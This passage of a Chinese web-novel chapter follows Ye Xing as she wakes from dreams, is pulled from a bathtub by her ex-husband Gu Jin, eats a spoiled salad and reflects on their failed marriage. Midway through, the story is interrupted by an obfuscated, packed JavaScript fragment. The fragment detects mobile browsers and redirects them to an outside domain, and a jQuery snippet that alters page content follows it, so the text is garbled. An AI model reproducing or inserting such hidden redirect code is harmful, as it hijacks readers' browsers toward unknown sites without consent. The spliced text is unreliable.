2024年5月11日
【今天把锅烧了。】
2024年8月10日
【你还会给我做饭吃吗？】
叶星是被饿醒的。
她蜷在沙发上迷迷糊糊睡着了，做了一个很长的梦。
梦里，顾谨驾驶着一架老旧的双翼飞机，载着她朝落日飞去。他们的飞机掠过一片橘子海洋，气浪翻滚，也可能是海浪，或者云朵，泛着粉色的光。
他们即将和落日一齐坠入海的另一边。她看看顾谨，有时也看着天，看看海。他们一句话也没说。耳边没有风声，也听不见引擎的轰鸣。天空青一块紫一块，泛着诡谲的光。海面冒着细密的气泡，像一杯橘子汽水。一只粉色的蓝鲸正在海面翻着身，与他们一同飞往那轮落日。
她知道自己在做梦。
他们坠入一片深蓝。
醒来时，她正靠在苏熠的怀里。四周是无边黑暗，星星环绕着他们，但没有星光没能抵达这片黑暗。
这大概是一座孤岛，也可能是某颗寂静的小行星。风声有一点，海浪声也有一点，还有一种细碎的声音，像是星光坠入海底化成水晶，在黑暗中一寸寸碎裂。
她看不清他的脸，却知道那是苏熠。因为顾谨从不看星星。他身上好像有雪松的香气，那是她从前爱用的香水。
她知道这依旧是梦，可她不太想醒。
她是被饿醒的，已经中午十二点了。她说不清是头晕还是头疼，视线像是罩了一层潮湿的薄雾。她又躺了一会儿，才慢慢想起昨天发生的一切。
她需要卸妆、洗澡、吃点东西，还答应了霍昕要陪她出门。她在脑子里过了一遍流程，拖着身体往浴室去了。
她蜷缩在浴缸里，身上还穿着昨天的白色长裙。水龙头开着，水漫到她胸口，但她的四肢像灌了铅似的，动弹不得。泡个澡吧，她在心里说，泡个澡会舒服点的……
她又坠入了一个梦里。
那是森林深处的温泉，雾气蒸腾，水面像绸缎一样荡着柔光。她仰面漂浮，像苏熠教过她的那样，一点点放松脊背，相信水不会让她沉下去。水波温柔地拍打着她的脊骨，像他轻轻托住她，温柔、坚定。
她大概是在梦里睡着了。
忽然水温骤降。
她坠入了一整片冰川，冰凉的水灌进鼻腔，灌进耳朵。水流封住了她的全部动作和声音。整个世界像一口安静的棺木，她听见自己的心跳在封闭的空间里急促地回响。她的意识陷入恐惧，几乎要离开这具躯体了……
“星星……”
“星星……”
“星星……”
是谁在叫她？
叶星睁开眼，世界像隔着一层柔焦的玻璃。那声音像是从水面上传来的。
她认得这个声音，是顾谨。
“你怎么在这儿……”她坐在浴室冰冷的瓷砖上，身上裹着厚厚的浴巾，声音有些飘，眼神在蒸汽中晃动，有些失焦。
顾谨一言不发地抱着她，全身都湿透了。水滴从他的发梢滑落，打在她肩膀。他的下颌紧贴着她的脸，一遍遍唤着她的名字。
“我们回去，好不好？跟我回去，好不好？”顾谨的声音像是从胸腔里挤出来的，有些颤意。他揉搓着她冰凉的手臂，抱着她的力道越来越紧。
叶星终于意识到发生了什么。顾谨很少这样失控的。但她的身体还有些迟钝，每根神经都泡着水。她喃喃地问：“苏熠呢？”
她抬起头，眼神失焦地在扫了一圈。没人回答。
“苏熠在哪儿？”她重复道，声音大了一点。
顾谨看了看站在门口的霍昕，有些局促地说：“霍总打电话到庄晓那边找他，他……不在。我正好听见，就赶过来了。”
叶星的目光飘向霍昕。
“他一大早去昆明了，正在赶回来。”霍昕顿了一下，“已经在路上了。”
“对，他很快就到了。”张璐走进来，伸手去扶她，“你先换身衣服，别着凉。”
“可我还没洗完澡……”她嘟囔着。
张璐伸手想从顾谨怀里接过她，他迟疑了一瞬，才松开手。张璐对霍昕轻轻摆了摆手，让他们先出去。
“来，我们洗个澡，换身干净衣服，好不好？”
水声重新响起，浴室里弥漫着热气。镜子被雾气蒙住，她看不清自己的脸。
“我饿了……”她自言自语着，像刚从梦里跌落，一只脚还踩在雾里。
头发湿漉漉地黏在脖颈上，浴室的余热让她有些闷。她垂着头，拖着步子走了出来。
“我给你弄点吃的。”顾谨还在客厅里，没有离开。
“苏熠给我带了沙拉。”她喃喃着。
“都放一夜了，已经臭了。”他手里提着那个透明的饭盒，里面的菜色发蔫，水汽混着酱汁凝在盖子上。
“我去给你煮碗面！”杨姐说着，拉着张璐匆匆出门，霍昕也跟着走了出去。
“天气凉，不会坏的。”叶星接过那盒沙拉，抱在怀里，蹲在厨房的角落开始吃了起来。
生菜边缘开始变黑，嘴里全是苦味。鸡胸肉也已经发酸。她塞得满嘴都是，咽也咽不下去。
顾谨在她身边蹲下来，眉头拧得很深。他拿走她抱着的饭盒，伸出手：“吐出来吧，这都不能吃了。等他回来，让他再给你做，好不好？”
叶星却固执地咀嚼着，眼里挂着水汽，声音含糊不清：“可是……我吃不完浪费了，他以后就不会再给我做了。”
顾谨被她这句话打得措手不及，眼眶猝然泛红。但他什么都没说，只是拍了拍她的背。
“说什么傻话呢？”他几乎是在咬着牙开口，“你不是说他很喜欢你吗？你让他做什么，他都会做的。要是他不做，我就把他打他一顿，好不好？”
“吐出来吧，别吃了。”他一边说，一边伸手捏着她的下巴，让她把嘴里的东西吐出来。她终于松了口，把混着酸味的蔬菜吐到他掌心上。
他胡乱擦了擦手，拉着她去餐桌边坐下，才把那些食物残渣收拾好。
霍昕端着热腾腾的面进来。叶星确实是饿了，拿起筷子就吃。顾谨转身给她倒了一杯蜂蜜水，坐在一旁看着她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427185|168646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她吃了几口，忽然开口：“你怎么来了？”
“我昨天来的。”顾谨轻声答，“要在这边待一段时间。”
“听说你们见过了。你和苏熠。”
“嗯。”他垂下眼，“人挺不错的……确实是你会喜欢的类型。”
“今天麻烦你了。谢谢。”
“没事。”
叶星没再说话。顾谨也没说话。
他起身拿了个杯子，给她冲蜂蜜水。她每次哭过之后，胃总是不舒服。她喜欢喝这一款蜂蜜。
玻璃杯上的倒影在水波与雾气中模糊变形，他看不清自己。
“我回头再给你带几瓶蜂蜜过来。”
“不用了。”
“那我把购买链接发给……发给那个苏熠吧。”
“嗯。”
她坐在餐桌边，看着他的背影出神。
洗碗池的水声哗哗响着，阳光落在餐桌上，又反射到他古铜色的皮肤上。她清楚地看见他侧脸细密的绒毛和胡渣，和从前一样发着光。
他的肩背线条干净利落，从不驼背，只是没以前壮实了。
苏熠确实是她喜欢的类型。一直都是，从没变过。他和顾谨这种类型。
她和顾谨之间没有争吵，没有背叛，只有漫长的沉默与碰撞。他们像两颗错轨的星体，再走下去注定会湮灭彼此。
霍昕问她，顾谨出现在这里是不是巧合。这是她无法细想的问题。
顾谨曾经对她很好，甚至现在也依然很好。她现在能体面地生活、写作，很大程度上是因为离婚时，顾谨坚持替她争取到版权分成。哪怕她当时一心想了结，甚至净身出户，他依然坚持按比例切分，而他自己保留技术股份并承担了后续产品迭代的风险。
她不敢细想。她无法接受顾谨很爱她这件事。明明那份爱让他们都很痛苦。在他的目光中，她无法坦然地走向另一个怀抱。
那不是爱，那必须不是。只有他不爱她，她才能继续相信爱。
水声哗哗，顾谨没有动作。一个碗，一双筷子，早就洗好了。
她从前总喜欢在他洗碗的时候抱着他，碎碎念着积攒了一整天的话。她喜欢他挺阔的肩膀，结实的肌肉，喜欢他洗碗时沉默不语。可最终也是这种沉默把她压垮了。
她说“压抑表达，就是阉割自我”。而他却习惯用沉默自证。
他在每一段关系中都扮演着外界期待的角色，一个好丈夫，一个好同事，一个好儿子。唯独不是他自己。
他在她眼里黯淡了。
沉默是会传染的。她为了避免冲突，也开始沉默了。她不再追问，不再表达，不再问他：“你怎么想？”
她感到窒息。她无法接受她的自我在婚姻中消解。
可顾谨不是一开始就这样的。如果顾谨是在她的情绪风暴中变得沉默，苏熠难道会不一样？
不。他的沉默不是沉稳，也不是克制，而是一种刻在骨子里的顺从。
所以那不是爱。那是他对婚姻关系的顺从。
“回去换件衣服吧，别着凉了。苏熠该回来了。”